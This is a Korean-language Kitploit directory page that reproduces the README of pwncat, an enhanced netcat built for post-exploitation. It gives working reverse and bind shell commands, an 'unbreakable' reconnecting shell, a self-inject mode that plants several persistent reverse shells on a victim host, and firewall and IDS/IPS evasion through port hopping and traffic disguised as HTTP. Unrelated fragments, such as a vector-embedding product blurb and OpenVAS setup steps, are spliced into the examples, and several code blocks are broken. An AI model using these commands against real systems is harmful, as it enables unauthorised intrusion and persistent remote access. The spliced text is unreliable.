Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/cytopia/pwncat
Payload GenerationPort ScanningIDS/IPS EvasionLateral MovementScripting & AutomationPost-ExploitationPenetration TestingCommand and ControlUtilities & FrameworksRed Teaming
GitHubcytopia/pwncat

pwncat

2.0k2144년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

pwncat - 강화된 netcat, 방화벽, IDS/IPS 우회, 바인드 및 리버스 셸, 자가 주입 셸, 포트 포워딩 마법 - 또한 Python(PSE)으로 완전히 스크립팅 가능

저장소 보기웹사이트

문서 | 설치 | 요약 | 기능 | 동작 | 사용법 | 예제 | FAQ | 기여하기 | 면책 조항 | 라이선스


pwncat 배너

pwncat

Documentation Status PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status

 

Netcat의 강화판: 방화벽, IDS/IPS 우회, 바인드 및 리버스 셸, 자가 주입 셸 및 포트 포워딩 마법 - 그리고 Python으로 완전히 스크립트 가능 (PSE). - docs.pwncat.org

 

[1] mypy 타입 적용 범위 (완전히 타입 적용됨: 94.00%)
[2] 실패한 빌드가 기능 손상을 의미하지는 않습니다. 통합 테스트는 여러 시간 동안 실행되며, 다양한 이유(네트워크 시간 초과, GitHub Actions의 알 수 없는 취소 등)로 간헐적으로 실패합니다: #735, #841

동기

혹시 리버스 셸에서 실수로 Ctrl+c를 눌러서 영원히 사라져 본 적이 있나요? 방화벽이 차단해서 클라이언트가 다시 연결되기를 영원히 기다려 본 적이 있나요? IPS가 의심스러운 포트를 닫아서 연결이 끊긴 적이 있나요? 빠른 포트 포워딩이 필요했던 적이 있나요?

이 도구가 해결해 드립니다.

게다가 nc, ncat 또는 socat의 현재 기능은 제 요구를 충족시키지 못했고, 오래된 기기와 새로운 기기 모두에서 작동하는 단일 도구를 원했습니다(그래서 Python 2+3 호환). 가장 중요한 것은 제가 이해할 수 있고 제 기능을 추가할 수 있는 언어로 작성되기를 원했습니다. (잠시만 기다리세요. Linux, MacOS 및 Windows용 바이너리 릴리스가 곧 제공됩니다.)

📕 문서

Pwncat 문서

🎉 설치

현재 버전: 0.1.2

일반

Pip
pip install pwncat

OS별

[1]: Epel 저장소
[2]: 불안정

☕ 요약

이것은 빠른 시작 개요입니다. 더 고급 기술은 💻 사용법 또는 **💡 예제**를 참조하세요.

동작 확인

끊김 없는 리버스 셸 - 생성 방법

대상에 배포```bash

Copy base64 data to clipboard from where you have internet access

curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

Paste it on the target machine

echo "" | base64 -d > pwncat chmod +x pwncat

root@kitploit:~
### 대상에 주입```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] 자가 주입에 대한 자세한 내용 읽기

셸 소환```bash

Bind shell (accepts new clients after disconnect)

pwncat -l -e '/bin/bash' 8080 -k

root@kitploit:~
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
root@kitploit:~
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

포트 스캔```bash

[TCP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023

[UDP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u

Use only IPv6 or IPv4

pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u

Add version detection

pwncat -z 10.0.0.1 1-65535 --banner

root@kitploit:~
### 로컬 포트 포워드 `-L` (리스닝 프록시)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
root@kitploit:~
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

리모트 포트 포워드 -R (이중 클라이언트 프록시)```bash

Connect to Remote MySQL server (remote port 3306) and then connect to another

pwncat/netcat server on 10.0.0.1:4444 and bridge traffic

pwncat -R 10.0.0.1:4444 everythingcli.org 3306

root@kitploit:~
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

재미와 이익을 위한 SSH 터널링 🔗
pwncat 예제: 포트 포워딩 마법

⭐ 특징

한눈에

pwncat은 많은 기능을 가지고 있으며, 아래는 뛰어난 특징들의 목록입니다.

기능 비교 매트릭스

* 기능은 현재 개발 중입니다.

👮 동작

netcat의 원래 구현과 마찬가지로, TCP를 사용할 때 pwncat (클라이언트 및 리슨 모드)은 네트워크 연결이 정상적이든 비정상적이든 종료되면 자동으로 종료됩니다. 원격 피어가 연결을 종료하지 않거나 UDP 모드에서는 netcat과 pwncat이 계속 열려 있습니다. STDIN이 닫힐 때 동작이 약간 다릅니다.

  1. netcat: STDIN이 닫혀도 연결이 열려 있으면 netcat은 계속 열려 있습니다.
  2. pwncat: STDIN이 닫혀도 연결이 열려 있으면 pwncat은 종료됩니다.

--no-shutdown 명령줄 인수를 사용하여 netcat의 동작을 에뮬레이트할 수 있습니다.

이 동작을 더 잘 이해하려면 다음 명령을 참조하십시오:```bash

[Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

[Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown

root@kitploit:~
## NoForSec 소개```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80
  • Chunking - 데이터를 청크로 분할합니다. 큰 파일을 다루거나 대상 토큰 제한을 준수해야 할 때 유용합니다.
  • Vector embeddings - 텍스트를 벡터 임베딩으로 변환합니다. 벡터 검색이나 시맨틱 검색에 유용합니다.
  • Vector storage - 벡터 임베딩을 저장하기 위해 벡터 DB에 연결합니다. 대규모 유사도 검색에 유용합니다.
  • Playground - 도구를 테스트, 구성 및 사용하기 위한 그래픽 사용자 인터페이스입니다.
  • Custom REST EAS - 모든 API를 원격으로 호출할 수 있습니다. 사용자 지정 파이프라인을 구축하는 데 유용합니다.```bash

[TCP]

Both instances will quit after successful file transfer.

pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt

[TCP]

Neither of both, client and server will quit after successful transfer

and they will be stuck, waiting for more input or output.

When exiting one (e.g.: via Ctrl+c), the other one will quit as well.

pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt

root@kitploit:~
UDP를 통한 파일 전송은 신뢰할 수 없습니다.```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

이 기본 동작을 변경하는 방법은 여러 가지가 있습니다. 더 고급 설정은 사용법 섹션을 참조하세요.

💻 사용법

키

[1] --no-shutdown 및 --keep를 사용하지 않을 때만 작동합니다. 그러면 전송을 위해 소켓을 종료하여 원격 종료와 EOF를 소켓에 시그널링합니다.

명령줄 인수

pwncat -h를 입력하거나 아래를 클릭하여 사용 가능한 모든 옵션을 확인하세요.

사용법 펼치려면 클릭하세요``` usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.

positional arguments: hostname Address to listen, forward, scan or connect to.

port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2

mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.

-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.

optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.

도구 다운로드
코드 스타일 통합 테스트 [2]
스타일 도구상태
Black
mypy [1]
pycodestyle
pydocstyle
pylint
PythonOSLinuxMacOSWindows
2.7
3.5
3.6
3.7
3.8
pypy2
pypy3
링크
공식 문서https://docs.pwncat.org
공식 웹사이트https://pwncat.org
API 문서https://pwncat.org/pwncat.api.html
Pwncat 스크립팅 엔진PSE
MacOSArch LinuxBlackArchCentOS[1]
mac_imgarch_imgbarch_imgcentos_img
brew install pwncatyay -S pwncatpacman -S pwncatyum install pwncat
FedoraKali LinuxNixOS[2]Oracle Linux[1]
fedora_imgkali_imgnix_imgoracle_img
dnf install pwncatapt install pwncatnixos.pwncatyum install pwncat
PentooParrot OS
pentoo_imgparrot_img
net-analyzer/pwncatapt install pwncat


끊김 없는 리버스 셸 - 다중 셸

기능설명
PSEPwncat Scripting Engine으로 완전히 스크립팅 가능하며, 송수신 시 모든 종류의 멋진 작업을 허용합니다.
포트 스캐닝기본 버전 탐지 지원이 포함된 TCP 및 UDP 포트 스캐닝
자가 주입 리버스 셸자가 주입 모드로 자체 배포하고 자동으로 끊어지지 않는 리버스 셸을 시작합니다.
바인드 셸바인드 셸 생성
리버스 셸리버스 셸 생성
포트 포워드로컬 및 원격 포트 포워드 (프록시 서버/클라이언트)
Ctrl+c리버스 셸이 실수로 Ctrl+c를 누르면 재연결할 수 있습니다.
이그레스 탐지대상의 열린 이그레스 포트를 스캔 및 보고 (포트 호핑)
방화벽 우회라운드로빈 방식으로 발신 포트를 순환하여 이그레스 방화벽 우회 (포트 호핑)
IPS 우회연결 중단 시 발신 포트를 라운드로빈으로 순환하여 침입 방지 시스템 우회 (포트 호핑)
UDP 리버스 셸전통적인 netcat으로 시도해 보세요
상태 저장 UDPUDP 클라이언트 모드를 위한 상태 저장 연결 단계
TCP / UDP전체 TCP 및 UDP 지원
IPv4 / IPv6듀얼 또는 단일 스택 IPv4 및 IPv6 지원
Python 2+3Python 2, Python 3, pypy2 및 pypy3에서 작동
크로스 OSPython이 사용 가능한 Linux, MacOS 및 Windows에서 작동
호환성pwncat과 함께 클라이언트 또는 서버로 netcat, ncat 또는 socat 사용 가능
휴대성핵심 패키지만 사용하는 단일 파일 - 외부 종속성 불필요.
pwncatnetcatncatsocat
스크립팅 엔진✔ Python❌✔ Lua❌
IP ToS✔✔❌✔
IPv4✔✔✔✔
IPv6✔✔✔✔
Unix 도메인 소켓❌✔✔✔
Linux vsock❌❌✔❌
소켓 소스 바인드✔✔✔✔
TCP✔✔✔✔
UDP✔✔✔✔
SCTP❌❌✔✔
SSL❌❌✔✔
HTTP✔❌❌❌
HTTPS*❌❌❌
Telnet 협상❌✔✔❌
프록시 지원❌✔✔✔
로컬 포트 포워드✔❌❌✔
원격 포트 포워드✔❌❌❌
인바운드 포트 스캔✔✔✔❌
아웃바운드 포트 스캔✔❌❌❌
버전 탐지✔❌❌❌
채팅✔✔✔✔
명령 실행✔✔✔✔
Hex 덤프*✔✔✔
브로커❌❌✔❌
동시 연결❌❌✔✔
허용/거부❌❌✔✔
재수락✔✔✔✔
자가 주입✔❌❌❌
UDP 리버스 셸✔❌❌❌
재생성 클라이언트✔❌❌❌
포트 호핑✔❌❌❌
비상 종료✔❌❌❌
동작AltAltAlt
종료 (SIGINT)Ctrl+cCtrl+cCtrl+c
종료 (SIGQUIT)Ctrl+\??
종료 (SIGQUIT)Ctrl+4??
STDIN 종료[1]Ctrl+dCtrl+dCtrl+z 및 Ctrl+Enter
전송 (NL)Ctrl+j??
전송 (EOL)Ctrl+m??
전송 (EOL)EnterEnterEnter

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

root@kitploit:~
</details>


## :bulb: 예시

### 셸을 대화형으로 업그레이드하기
<!--
<details>
  <summary>Click to expand</summary>
-->

> 이것은 보편적인 조언이며, `pwncat`뿐만 아니라 다른 모든 일반적인 도구에서도 작동합니다.

역방향 또는 바인드 셸에 연결되면 대화형 명령이 작동하지 않고 <kbd>Ctrl</kbd>+<kbd>c</kbd>를 누르면 세션이 종료된다는 것을 알게 될 것입니다. 이 문제를 해결하려면 TTY에 연결(대화형으로 만들기)해야 합니다. 방법은 다음과 같습니다:```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

root@kitploit:~
> <sup>[1] [리버스 셸 치트시트](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>

### UDP 리버스 셸
트릭 없이 UDP 리버스 셸은 실제로 불가능합니다. UDP는 TCP와 비교하여 상태 비저장(stateless) 프로토콜이며, TCP처럼 `connect()` 메서드가 없습니다.
TCP 모드에서 클라이언트가 `connects()`를 호출하면 서버는 클라이언트의 IP와 포트를 알게 됩니다.
UDP 모드에서는 `connect()`가 없으므로 클라이언트는 먼저 연결할 필요 없이 주소/포트로 데이터를 보내기만 합니다.
따라서 UDP 모드에서는 서버가 클라이언트의 IP와 포트를 알 수 없으므로 먼저 데이터를 보낼 수 없습니다.
이것을 가능하게 하는 유일한 방법은 클라이언트가 먼저 어떤 종류의 데이터를 서버에 보내서 서버가 어떤 IP/포트에서 데이터를 보냈는지 확인할 수 있도록 하는 것입니다.

`pwncat`은 클라이언트가 `--ping-intvl` 또는 `--ping-init`을 통해 한 번 또는 주기적으로 널 바이트를 서버에 보내도록 하여 TCP `connect()`를 에뮬레이션합니다.```bash
# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

무적의 TCP 리버스 셸

왜 무적일까요? 일시적으로 리스닝 서버를 종료해도 계속해서 다시 연결을 시도하기 때문입니다. 다시 말해, 클라이언트는 성공할 때까지 지정된 서버에 계속 연결을 시도합니다. 연결이 중단되면 다시 계속 시도합니다.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

root@kitploit:~
### Unbreakable UDP reverse shell
왜 Unbreakable인가? 청취 중인 서버가 일시적으로 종료되어도 계속해서 다시 연결을 시도하기 때문입니다.
즉, 클라이언트는 계속해서 null 바이트를 서버로 보내며 자신을 지속적으로 알립니다.```bash
# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

자가 주입 리버스 셸

당신이 대상에서 자신의 머신으로 매우 간단하고 불안정한 리버스 셸(예: PHP 스크립트를 통한 웹 셸 등)을 생성할 수 있다고 가정해 봅시다. 이 연결이 오래 지속되지 않거나 불안정한 네트워크 연결로 인해 끊어질 수 있다는 점을 알고 있다면, pwncat을 사용하여 이 연결에 끼어들어 대상에 자체적으로 완전 자동으로 깨지지 않게 배포할 수 있습니다.

Youtube에서 보기

여러분이 해야 할 일은 pwncat을 로컬 리스너로 사용하고 --self-inject 스위치와 함께 시작하는 것뿐입니다. 클라이언트(예: 리버스 웹 셸)가 연결되는 즉시, 다음과 같은 몇 가지 작업을 수행합니다:

  1. 대상에서 Python 가용성 및 버전을 열거
  2. 자신을 base64로 인코딩하여 대상에 덤프
  3. 대상의 Python을 사용하여 자신을 디코딩
  4. 대상의 Python을 사용하여 자신을 끊어지지 않는 리버스 셸로 시작하여 여러분에게 다시 연결

이 작업이 완료되면 현재 연결을 계속 사용하거나 그냥 버리고 새 리스너를 시작하여(네, 리버스 셸을 시작하기 전에 리스너를 시작할 필요가 없습니다) 새 pwncat 클라이언트가 여러분에게 연결되도록 할 수 있습니다. 새 리스너는 pwncat일 필요도 없으며, netcat 또는 ncat일 수도 있습니다.

--self-inject 스위치:```bash pwncat -l 4444 --self-inject ::

root@kitploit:~
* `<cmd>`: 대상에서 실행할 명령어입니다 (`-e`/`--exec`처럼. 따라서 `cmd.exe` 또는 `/bin/bash`여야 함)
* `<host>`: 로컬 머신의 IP 주소로, 리버스 셸이 연결할 대상입니다.
* `<port>`: 로컬 머신의 포트 번호로, 리버스 셸이 연결할 포트입니다.

따라서 Kali 머신이 10.0.0.1이라고 가정해 보겠습니다. 웹셸을 Linux 서버에 주입하여 포트 `4444`로 연결하도록 지시합니다:```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

1. OpenVAS

설치 및 설정

Kali Linux에서:

  1. OpenVAS 설치

sudo apt update && sudo apt install openvas

  1. 초기화 및 시작
root@kitploit:~
sudo gvm-setup
sudo gvm-start

[PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

root@kitploit:~
그리고 설정이 완료되었습니다. 이제 로컬에서 `4445`에 다른 리스너를 시작할 수 있습니다. (다시 말하지만, 그것이 당신에게 계속해서 다시 연결되므로 리스너를 먼저 시작할 필요가 없습니다.)```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

무제한 자체 삽입 리버스 셸

단일 자체 삽입 리버스 셸만 요청하는 대신, pwncat에 원하는 만큼의 끊어지지 않는 리버스 셸을 생성하여 다시 연결하도록 지시할 수 있습니다.

YouTube에서 보기

--self-inject 인수를 사용하면 단일 포트뿐만 아니라 다음도 정의할 수 있습니다.

  1. 쉼표로 구분된 포트 목록: 4445,4446,4447,4448
  2. 범위 정의: 4446-4448
  3. 증분: 4445+3

4개의 리버스 셸을 생성하려면 위에서 설명한 대로 리스너를 시작하되, 단일 포트 대신 여러 포트를 정의합니다:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

root@kitploit:~
위의 세 명령어 각각은 동일한 동작을 수행합니다: 대상 내부에 4개의 리버스 셸을 생성합니다.
클라이언트가 연결되면 출력은 다음과 같이 보일 것입니다:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

로깅

참고: 계속해서 다시 연결되는 리버스 셸이 있는지 확인하세요. 이렇게 하면 셸을 잃지 않고 항상 로깅 설정을 변경할 수 있습니다.

로그 레벨 및 리디렉션

